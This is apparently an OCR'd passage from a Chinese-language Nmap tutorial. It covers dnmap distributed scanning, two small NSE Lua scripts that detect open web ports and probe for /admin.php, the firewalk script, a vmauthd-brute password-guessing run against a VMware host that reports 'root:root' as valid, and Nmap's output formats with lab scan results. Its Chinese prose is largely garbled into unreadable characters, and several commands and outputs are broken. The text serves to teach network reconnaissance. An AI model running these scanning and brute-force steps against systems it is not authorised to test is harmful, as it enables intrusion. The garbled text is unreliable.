continue reading the nmap commands file. If you want to start over again,
just delete the '<nmap-commands-file-name>.dnmaptrace' file

root@Wing:/home/dnmap/dnmap vO0.6#

B A3, RS ARMNGEARKGS, 817 —5% WhR.

nmap -sS -p22 192.168.84.0/24 -v -n —-oA 192.168.84.0

nmap -sS -p22 192.168.126.0/24 -v -n -oA 192.168.126.0

nmap -sS -p22 192.168.3.0/24 -v -n -oA 192.168.4.0

nmap -sP -p22 192.168.3.0/24 -v -n -oA 192.168.4.0

nmap -sS --top-ports 100 192.168.3.3 -v -n -oA 192.168.3.3.topl00
nmap -sS --top-ports 100 192.168.3.4 -v -n -oA 192.168.3.4.topl00
nmap -sS —--top-ports 100 192.168.3.5 -v -n -oA 192.168.3.5.topl00

Jri5)) Dnmap k55 . -f 306 € BATHI 72 301

root@Wing: /home/dnmap/dnmap v0.6# ./dnmap_server.py -f /home/test

| dnmap_server Version 0.6 |
| This program is free software; you can redistribute it and/or modify

| it under the terms of the GNU General Public License as published by

| the Free Software Foundation; either version 2 of the License, or

| (at your option) any later version. |
| |
| |
| |

Author: Garcia Sebastian, eldraco@gmail.com
www.mateslab.com.ar

=| MET:0:00:00.000735 | Amount of Online clients: 0 |=
=| MET:0:00:05.006164 | Amount of Online clients: 0 |=
=| MET:0:00:10.005340 | Amount of Online clients: 0 |=
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FHH A5, ik Dnmap 8RS 4%

root@Wing:/home/dnmap/dnmap_ vO0.6# ./dnmap client.py -s 192.168.126.130 -a test

dnmap Client Version 0.6 |
This program is free software; you can redistribute it and/or modify |
it under the terms of the GNU General Public License as published by

(at your option) any later wversion.

Author: Garcia Sebastian, eldraco@gmail.com

|
|
I
| the Free Software Foundation; either version 2 of the License, or
I
|
|
| www.mateslab.com.ar

Client Started...

Nmap output files stored in 'nmap output' directory...

Starting connection...

Client connected succesfully...

Waiting for more commands....
Command Executed: nmap -sS -p22 192.168.84.0/24 -v -n -oA 192.168.84.0
Sending output to the server...

Waiting for more commands....

IXHFPIA™ Dnmap % H 50 25 AN TR S) B 24316578 B
E nmap_output 3 AFI T I Dnmap RAE R4 R -

root@Wing:/home/dnmap/dnmap v0.6/nmap output# ls

192.168.126.0.gnmap 192.168.3.4.topl00.gnmap 192.168.4.0.gnmap
192.168.126.0.nmap 192.168.3.4.topl00.nmap 192.168.4.0.nmap
192.168.126.0.xml 192.168.3.4.topl00.xml 192.168.4.0.xml
192.168.3.3.topl00.gnmap 192.168.3.5.topl00.gnmap 192.168.84.0.gnmap
192.168.3.3.topl00.nmap 192.168.3.5.topl00.nmap 192.168.84.0.nmap
192.168.3.3.topl00.xml 192.168.3.5.topl00.xml 192.168.84.0.xml
root@Wing: /home/dnmap/dnmap v0.6/nmap_output#

W] S Nso %

Nse A KK 2 AAEZ FTHET D& /R T, Nmap 345 T 58 KK API, 458 LUA %
FEVE 5 ] LRI R 0 m A I R G TR B OU I NES AR . ANk 455 AT 75 sk SE541
FF & —A> Nse JHI4

5 NES MIAFRER LUA HFEESEMEEHXHRELK. BRI TH—T
Nse HIVERE.
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11.12 45 Nse BIX

I -— The scanning module --

ERREL “--7 HEIGH .

-- The scanning module --
author = "Wing"
categories = {"version"}

portrule = function(host, port)
return port.protocol == "tcp" and port.number == 80 and port.state == "open"
end

action = function (host, port)
return "Found!!!"™

end

{FFi% Nse JIAFI (%, 4% 30 80 i 1 4bF open IRER S8 “Found!!!”, ZEARBAR
f5E X7 TCP Pr%. 80 ¥ 1. i (R4 open.
Bz E R — T,
root@kali:~# nmap -p80 --script found80 192.168.1.100-120

Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-17 20:14 CST
Nmap scan report for 192.168.1.100

Host is up (0.00070s latency).

PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.101
Host is up (0.00093s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.110
Host is up (0.0012s latency).

PORT STATE SERVICE

80/tcp open http

| found80: Found!!!

Nmap scan report for 192.168.1.111
Host is up (0.00024s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.112
Host is up (0.00020s latency).
PORT STATE SERVICE
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80/tcp filtered http

Nmap scan report for 192.168.1.113
Host is up (0.00066s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.114
Host is up (0.00045s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.115
Host is up (0.00028s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.116
Host is up (0.00018s latency) .
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.117
Host is up (0.00026s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.118
Host is up (0.00021s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.119
Host is up (0.00019s latency) .
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.120
Host is up (0.00022s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap done: 21 IP addresses (21 hosts up) scanned in 3.63 seconds
root@kali:~#

KRILT TP 192.168.1.110 Tl 7 80 ¥ 1, FFHIL T “Found!!!” $#27x.

-- The scanning module --
author = "Wing"
categories = {"version"}
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local comm=require "comm"

require "shortport”

local http=require "http"

portrule = function(host,port)

return
end

action = function (host,port)

local uri = "/admin.php"

local response = http.get (host,

return "Found!!!"

End

(port.number == 80)

and

port,

(port.state=="open")

uri)

A2 TR % “admin.php” §) URL, &INGIR[E “Found!!!” HHH . BAEE
FAZBI A — AN TP BEE AT+ .

root@kali:~# nmap -p80 --script scanadmin 192.168.1.100-120

Starting Nmap 6.46
Nmap scan report for 192.168.1.100
Host is up (0.00090s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.101
Host is up (0.00085s latency).
PORT  STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.103
Host is up (0.0040s latency).

PORT STATE SERVICE

80/tcp filtered http

Nmap scan report for 192.168.1.110
Host is up (0.00046s latency).
PORT STATE SERVICE

80/tcp open http

| scanadmin: Found!!!

Nmap scan report for 192.168.1.120
Host is up (0.00039s latency).
PORT STATE SERVICE

80/tcp filtered http

Nmap done: 21 IP addresses
root@kali:~#

( http://nmap.org ) a

(5 hosts up)

t 2014-10-17 20:21 CST

scanned in 44.42 seconds
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Nmap £15

KRILT TP 192.168.1.110 FF 7K 80 ¥ H H-474E admin.php.

m E P

R 1112 Pros AR ETFT# Nmap ay&38, Rk & AN 7 B 7 dr & —— 8RB

Ko
E11.12 AHFFEMS
i U] ®m B
--send-eth 3% LAK I B4
--send-ip W 4% 2 k1%
--privileged i e AT T AT AL
—-interactive RS AR 3l
-V #h Nmap [RA 5
-d BEE K0
--packet-trace PRI RO HESZ 4R SC
—iflist RS 1A
) i 5 M 45 2 11
-0G pies esl R RE
firewalk BB B K At
vmauthd-brute VM Ware TA I fif

#£ Nmap 1] firewalk JIAHE it &% AMERIF 00T TTL B, 0T LB K R0

BIESR

i H @74 “nmap --script=firewalk --traceroute H#x” BRI H bk 5548 10 7 K 58 AU 247

£ SIS

Starting Nmap 6.47 ( http://nmap.org )
Nmap scan report for 192.168.121.1
(0.68s latency).

987 closed ports

Host is up
Not shown:

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds

root@Wing:~# nmap —--script=firewalk --traceroute 192.168.121.1

at 2015-06-28 21:22 CST



1114 VMWare AFRERR

514/tcp filtered shell

843/tcp open unknown

902/tcp open iss-realsecure
912/tcp open apex-mesh
7000/tcp open afs3-fileserver
8000/tcp open http-alt

49152 /tcp open unknown
49153/tcp open unknown
49155/tcp open unknown

49157 /tcp open unknown

Host script results:

| firewalk:
| HOP HOST PROTOCOL BLOCKED PORTS
Ik 192.168.239.2 tep 514

TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS

1 9.34 ms 192.168.239.2

2 3.52 ms 192.168.121.1

Nmap done: 1 IP address (1 host up) scanned in 146.12 seconds
root@Wing:~#

PAXVil

MCEL % B AT LAAE 40 Hobr EHLER IR T 192.168.239.2 13 1H], FHIE TCP ¥l O
514 %8 .

m VMWare A i fig

#1113 Pros WA Nmap fir4&, R 6 & 0 A /N5 B/ dr &——VMWare
UNTIRTT

#*11.13 ATRE®S
‘M ®m B

--send-eth e 3% LUK o9 4
--send-ip [0 £ J2 R ik
--privileged SOE A T AL
--interactive {EAT AP R 3
-V #574 Nmap A5
d e Sl
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#F11E= Nmap #I15

® W ®m B
--packet-trace PRI R X H 2 IR L
—iflist B2 1 A0 %
-e e M
-0G Ak LEr A
firewalk BB K 3%
vmauthd-brute VMWare AERf#

VMware (P X4 “BE&E", ALAEFLSHRIE: VMW) BRIVLERE, 4Bk i 2] 5
PO R R T R4S ) B . Nmap ) vmauthd-brute JIA ] LABE R 2235 B RN L R 5t

P 44 5 B
BIELR

{#FH x4 “nmap -p 902 --script vmauthd-brute H#¥x” BHATHAR

root@Wing:~# nmap -p 902 —--script vmauthd-brute 192.168.121.1

Starting Nmap 6.47 ( http://nmap.org ) at 2015-06-28 21:32 CST
Nmap scan report for 192.168.121.1
Host is up (0.0011s latency).
PORT STATE SERVICE
902/tcp open iss-realsecure
vmauthd-brute:
Accounts

|
|
| root:root - Valid credentials
| Statistics

|

Performed 1247 guesses in 604 seconds, average tps: 2

Nmap done: 1 IP address (1 host up) scanned in 603.79 seconds
root@Wing:~#

i

MELEAS BT DA AN A OB 7 — DMK SER, KT 5EHEIBRE root.



512 %% Nmap PRGN

AEENA S

o {RATFIHH
o hRHECRAT
o XML {77
o 133t fRf7
Grep &7
ORAF BT A # X
*h T R AE A
F e XML {47
o Mm% XML /A BI) XSL FEFR
W HT IR A, ARG EE DA T MRS RGN Nmap SEAT#R, HIERATEGD—
Mo EE AR ORAE, AT DA n LI 45 R B 5 b, AT A gl an (D Re 4
(1) 2 FARAF B A

A BRI
K121 s WAZEN T Nmap AR, AHEEHEARN, BERFHEH,
* 121 AEREIRR
I . 4
-oN FRUELRAF
-0X XML {47
-0S 133t {415
-0G Grep A7




& M ®m B
-0A PRAF B BT AT MK
--append-output FhFEORAE AT
-0X e XML {47
-0X 28 XML 75 W1 ¥ XSL #£A%

121 RET2 R

Nmap #2648 T #5547 RE, Nmap $e4EREHR R G R EF, Hh,
XML g2l 7 AR A B B .

B T RAEORAFAE AN, Nmap 4243 TR TORIEHIR AR 401 LU RE R IREFENET
FOREAREORAF ER w44 30, TLUBINERE oo ORATSCARIE PT48F T- 4kt h a4 .

Nmap $&ftt T 5 FA A B f-A74& 3K, BRIA 7 02 interactive output, K% 45 FRUELRAE (stdout) .
normal output 77 AL T interactive, {H B BRI T EFEBMEEFER, X2 TXLL
{7 BT 2SR G T, MARZ XK.

A H A ORAF BN T2, AN A 4TI, HoAth 4 Ffkg Xm0 A AH R R8T, R
M—1"24, EEBE RS2 . ZRs TR, (H—Mog LR g —k. i,
{ERRELRAE T T BB RN, A &5 SRAORAF 2] XML S/ TP 204

122 R TTC

® 122 i AARTE ST Nmap dr@ 3%, RN @@ AN fr & — e R A7 .
*z 122 AHE®S
® W O
-oN FRUECRAF
oX XML {47
-oS 133t {17
-0G Grep {#1f
-0A TRAF BT A A% X
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122 HRRE

gk
® I w B
--append-output AFARAT AT
oX Hffe XML (R4
-0X 2w XML 75 B i) XSL FE R

{8 -oN 1B AT LLEESK Nmap ¥ bR LR A7 245 € S0

root@Wing:~# nmap -F -oN testl.txt 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 18:37 CST
Nmap scan report for 192.168.126.131
Host is up (0.00019s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

513/tcp open login

514/tcp open shell

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

8009/tcp open ajpl3

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
root@Wing:~#

W45 RIRAT N testl.txt [ [RIHS Nmap ¥4 85 RATED K. FHEH—F testl.txt L.

root@Wing:~# cat testl.txt

# Nmap 6.40 scan initiated Fri Jun 13 18:37:50 2014 as: nmap -F -oN testl.txt 192.168.126.131
Nmap scan report for 192.168.126.131

Host is up (0.00019s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh
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128 Nmop RERMH

23/tcp open telnet
25/tcp open smtp

53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login
514/tcp open shell
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open wvnc
6000/tcp open X11
8009/tcp open ajpl3

MAC Address: 00:0C:29:E0:2E:76 (VMware)

# Nmap done at Fri Jun 13 18:37:50 2014 —- 1 IP address (1 host up) scanned in 0.11 seconds
root@Wing:~#

TRAFINE R 5 Nmap BT ED H B9 45 52 AH IR

123 RUINCE

& 123 JIroR AR E T T Nmap 623K, R 2 8 AN T i fin 2——XML /17
-oX LI Al LK 45 AR R4 € XML 3. XML #& 2\ 7] LL{F Windows. Linux. Mac OS
HLZ PRGN IATEIE AT e AGAF, XA CHLAE Nmap O34 45 3L n] DUSE 4 i i A A sl R .

%123 ATFFEWS
® W N

-oN FrfELRAT
-0X XML {347
-0S 133t fr4f7
-0G Grep {#4F
-0A TRAF ST A
--append-output A FELRAE SO
-0X H e XML A7
-0X 2 XML F= W) XSL FEAR

XML fRAF5I T —> XSL H K, M TR R, RIET HTML, &7 {ERJ7i%
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12.3 XMLT%T?

S XML A2 N3] —> Web 3 % 2%, 1 Firefox B{ IE.

root@Wing:~# nmap -F -oX testl.xml 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 18:48 CST
Nmap scan report for 192.168.126.131
Host is up (0.00046s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

513/tcp open 1login

514/tcp open shell

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysqgl

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

8009/tcp open ajpl3

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
root@Wing: ~#

H cat AR LEHEAEM.

root@Wing:~# cat testl.xml

<?xml version="1.0"?>

<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>

<!-- Nmap 6.40 scan initiated Fri Jun 13 18:48:23 2014 as: nmap -F -oX testl.xml
192.168.126.13L —=>

<nmaprun scanner="nmap" args="nmap -F -oX testl.xml 192.168.126.131" start="1402656503"
startstr="Fri Jun 13 18:48:23 2014" version="6.40" xmloutputversion="1.04">

<scaninfo type="syn" protocol="tcp" numservices="100" services="7,9,13,21-23,25-26,37,
53,79-81,88,106,110-111,113,119,135,139,143-144,179,199,389,427,443-445,465,513-515,5
43-544,548,554,587,631,646,873,990,993,995,1025-1029,1110,1433,1720,1723,1755,1900, 20
00-2001,2049,2121,2717,3000,3128,3306,3389,3986,4899,5000,5009,5051,5060,5101,5190,53
57,5432,5631, 5666, 5800, 5900, 6000-6001, 6646, 7070, 8000, 8008-8009, 8080-8081,8443,8888, 91
00,9999-10000,32768,49152-49157"/>

<runstats><finished time="1402656503" timestr="Fri Jun 13 18:48:23 2014" elapsed="0.17"
summary="Nmap done at Fri Jun 13 18:48:23 2014; 1 IP address (1 host up) scanned in 0.17
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seconds" exit="success"/><hosts up="1" down="0" total="1"/>

</runstats>
</nmaprun>
root@Wing: ~#

— i XML 3CfF2 AR SLABRE PR A G REESTIT XML W75 2 F HARRE P 4T 7T

R 124 Fron AAFTTPTH Nmap fir@38, RPN A2 04N fi fr 2 ——133t {R1F
£124 ATRE®DS
;R ®m B
-oN PRHELRAE
-0X XML fR7F
-0S 133t {R7F
-0G Grep {17
-0A A 3 BT A s X
--append-output FhFEARAF AT
-0X FE¥ XML {47
-oX 20 XML 75 B XSL FEER

f#H1-0S {# Nmap #5485 4% 133t I {RA7-

Starting Nmap

Not shown: 82

PORT STATE
21/tcp open
22/tcp open
23/tcp open
25/tcp  open
53/tcp open
80/tcp open
111/tcp open
139/tcp open
445/tcp open
513/tcp open
514/tcp open

2049/tcp open

Host is up (0.

6.40

00040s latency) .
closed ports
SERVICE

ftp

ssh

telnet

smtp

domain

http

rpcbind
netbios-ssn
microsoft-ds
login

shell

nfs

( http://nmap.org )
Nmap scan report for 192.168.126.131

root@Wing:~# nmap -F -oS test2.txt 192.168.126.131

at 2014-06-13 18:56 CST



125 Grep 77

2121/tcp
3306/tcp
5432/tcp
5900/tcp
6000/tcp
8009/tcp
MAC Addre

Nmap done
root@Wing

open
open
open
open
open
open

Ss:

: 1 IP address (1 host up) scanned in 0.14 seconds

i~

ccproxy-ftp
mysqgl
postgresqgl
vnc

X11

ajpl3

00:0C:29:E0:2E: 76

BTE—F test2.txt 1.

514/tCp 0

NmAp dOn3:
root@Wing:

$tartING NMap 6.40
Nmap $Can repOrT for 192.168.126.131
00040z latency).

hOst Iz uP (0.
NOt $hOwN: 82
pPoRT STATe
21/tcp 0P3n
22/Tcp open
23/TcP OPEn
25/tcp open
53/tcp OpeN

80/tcp OPEn
111/tcp Open
139/Tcp OpeN
445/tcp open
513/Tcp opEn

p3N

2049/tcp open
2121/tcp Op3n
3306/tCp OpEn
5432/tcp Op3N
5900/tcP oP3n
6000/tcp Op3n
8009/tcP open
M4C address:

1 IP addrES$z

~#

root@Wing:~# cat test2.txt

Clo$3d pOrtS
$3rv|C3

EEP

ssh

t31NEt

SmTP

domalN

http
rpcbiNd
n3TB!os-$sn
miCro$0ft-dz
10gin

sh311l

nfs
CcpROxy-ftp
mysql
poSTgres$qgl
vnc

X11

AJpl3

00:0C:29:30:2E:76

U] eren 2%

# 12.5 P h AT Frdi Nmap 238, R & ok A /N5 B 7 dr &——Grep 177

(1 hOS$t up)

(VMware)

( Http://nMaP.ORg )

(VMWare)

at 2014-06-13 18:56 CsT

$cann3d |IN 0.14 $3condz
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®12% Nmap REHET

#125 ABFRE®S
% I ®m B

-oN FrUELRAF
-0X XML {47
-0S 133t fR47
-0G Grep 1347
-0A TRAEZ T A%
--append-output TR AR SO
-0X B4 XML 47
-0X 2% XML 7 #] ) XSL #E%

i FH-0G JEIH AT Nmap K455 Grep fRAF. XAHRAF T AR, (ARIXF 7 AR

o
.
root@Wing:~# nmap -F

Starting Nmap 6.40 (
Nmap scan report for
Host is up (0.00027s
Not shown: 82 closed
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http

139/tcp open netbios
513/tcp open login
514/tcp open shell
2049/tcp open nfs
3306/tcp open mysgl
5900/tcp open vnc

6000/tcp open X11
8009/tcp open ajpl3

root@Wing:~4#

-oG test3.txt 192.168.126.131

http://nmap.org ) at 2014-06-13 19:01 CST
182:168:126:131

latency) .

ports

111/tcp open rpcbind

—ssn

445/tcp open microsoft-ds

2121/tcp open ccproxy-ftp

5432 /tcp open postgresqgl

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

AT test3.txt X 1F,



12.6 REIAEER
root@Wing:~# cat test3.txt
# Nmap 6.40 scan initiated Fri Jun 1319:01:49 2014 as: nmap -F —oG test3.txt 192.168.126.131
Host: 192.168.126.131 () Status: Up
Host: 192.168.126.131 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 23/open/tcp
//telnet///, 25/open/tcp//smtp///, 53/open/tcp//domain///, 80/open/tcp//http///, 111/
open/tcp//rpcbind///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 513/
open/tcp//login///, 514/open/tcp//shell///, 2049/open/tcp//nfs///, 2121/open/tcp//
ceproxy-ftp///, 3306/open/tcp//mysql///, 5432/open/tcp//postgresql///, 5900/open/tep//
vnc///, 6000/open/tcp//%X11///, 8009/open/tcp//ajpl3/// Ignored State: closed (82)

# Nmap done at Fri Jun 13 19:01:49 2014 -- 1 IP address (1 host up) scanned in 0.09 seconds
root@Wing: ~#

XA T AR EANE T T4k s rh Wi,  AHERE RTX A7 Nt T R A7 .

) seamak

% 12,6 Fros AAFE T Nmap 23, RPN A& A AN B il - &—— R A7 2B

*126 AT FEWL
% I ®m B

-oN FRAECRAF
-0X XML {RAF
-0S 133t fR47
-0G Grep 1R fF
-0A REFZIFTHERHR
--append-output #FEARAF LA
-0X H e XML (A7
-oX 2 XML 7 ) XSL FE &

-0A AR IS F IR HERS . XML #8301 Grep # X —IRMARSE, 2 BIFFIRHE <42 F
>nmap, <#5>xml fl <44 °F>gnmap 3.

root@Wing:~# nmap -F -oA testA 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 19:07 CST
Nmap scan report for 192.168.126.131

Host is up (0.00029s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp
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22/tcp open ssh

23/tcp open telnet
25/tcp open smtp

53/tcp open domain
80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login
514/tcp open shell
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
5432/tcp open postgresqgl
5900/tcp open vnc

6000/tcp open X11

8009/tcp open ajpl3

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
root@Wing:~#

FHAEE— FX 3.

root@Wing:~# 1s -1 testA.*

-rw-r--r-- 1 root root 725 6 A 13 19:07 testA.gnmap
-rw-r--r-— 1 root root 735 68 13 19:07 testA.nmap
-rw-r--r-— 1 root root 4130 68 13 19:07 testA.xml
root@Wing:~#

121 ST

R 12.7 P AAFETIPTT Nmap 59K, RPIH G A NHTEG @ —Fh B 0R/AF

At
£127 EVFmE®S
i m L
-oN FrUELRAT
-0X XML {47
-0S 133t {R47
-0G Grep {47
-0A TRAE B BT A A X
—append-output HFRRFF A
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127 HERTFXH

% m " B
-0X i XML {717
-0X 2 XML 788 () XSL FEZR

--append-output 7] AR FERAF SO, 48 AT AT T KB MORAT— A3, T BAE IR A HIR )
THIAE A0 BT 28038 (1 B P LA A I8 00, BN T XML GRAFAE R UL R AN IR, nTeign
BFTHEBHFNE.

root@Wing:~# nmap -F --append-output -oN testl.txt 192.168.126.1

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 19:14 CST
Nmap scan report for 192.168.126.1

Host is up (0.00032s latency).

All 100 scanned ports on 192.168.126.1 are filtered

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 3.15 seconds
root@Wing:~#

TE—TF testl.txt C1F.

root@Wing:~# cat testl.txt

# Nmap 6.40 scan initiated Fri Jun 13 18:37:50 2014 as: nmap -F -oN testl.txt 192.168.126.131
Nmap scan report for 192.168.126.131
Host is up (0.00019s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

5432 /tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

8009/tcp open ajpl3

MAC Address: 00:0C:29:E0:2E:76 (VMware)

# Nmap done at Fri Jun 13 18:37:50 2014 —- 1 IP address (1 host up) scanned in 0.11 seconds
# Nmap 6.40 scan initiated Fri Jun 13 19:14:23 2014 as: nmap —-append-output -oN testl.txt
192.168.126.1

# Nmap 6.40 scan initiated Fri Jun 13 19:14:45 2014 as: nmap -F ——append-output -oN testl.txt
192.168.126.1

Nmap scan report for 192.168.126.1

Host is up (0.00032s latency).

All 100 scanned ports on 192.168.126.1 are filtered

MAC Address: 00:50:56:C0:00:08 (VMware)
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# Nmap done at Fri Jun 13 19:14:48 2014 -- 1 IP address (1 host up) scanned in 3.15 seconds
root@Wing:~#

128 B YURCL

2% 12.8 Pros AAFE AT Nmap i 2%, RPN a2 AN P fr &—5#H XML
R77

%128 ATFZmw<S
i m .

-oN prtELRAF
-0X XML fR4F
-0oS 133t R 47
-0G Grep fRFF
-0A PRAF B BT A A
--append-output FFRRAF AT
-0X %% XML {R7F
-0X R XML I XSL FF AR

--stylesheet 1 LL¥; XSL A X R F 4 XML /17, Bl &4 — /M3 http://www.0day.co/
nmap.xsl, #i AT LU RIZE R XSL FER 48 XML JF0RT7, WA H b — DAyl
o mT DU 4 08 2% 4 B AR AT BRAE R R AR IXAS XSL S AT R . F T 7 A A T A b
) XSL #FARHHA XML,

root@Wing:~# nmap -F -0oX testB.xml --stylesheet http://www.insecure.org/nmap/data/
nmap.xsl 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 19:24 CST
Nmap scan report for 192.168.126.131
Host is up (0.00018s latency).

Not shown: 82 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind




12.9 7Z8% XML B HARY XSL #HF
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login
514/tcp open shell
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
8009/tcp open ajpl3
MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
root@Wing:~#

U] s KL =300 NSL R0 %

12,9 Pron ATl Nmap @y 43K, RO & h 4/ N5 prda i 2
7 () XSL PR

2 XML

* 129 ATRE®S
‘W S

-oN FrAELRAF
-0X XML {17
-0S 133t {147
-0G Grep {47
-0A TRIEFI A A% X
--append-output AhFERAF LA
-0X i XML R A7
-0X 2Eg XML FEHIH) XSL F#E

--no-stylesheet TN %% I Nmap ] XML {R77 KB XSL #EAFE.

root@Wing:~# nmap -oX testC.xml —--no-stylesheet 192.168.126.131

Starting Nmap 6.40 ( http://nmap.org ) at 2014-06-13 19:27 CST
Nmap scan report for 192.168.126.131

Host is up (0.00024s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp
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#£12E Nmap REMHE

22/tcp open ssh

23/tcp open telnet
25/tcp open smtp

53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp copen ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajpl3
8180/tcp open unknown

MAC Address: 00:0C:29:E0:2E:76 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

root@Wing: ~#
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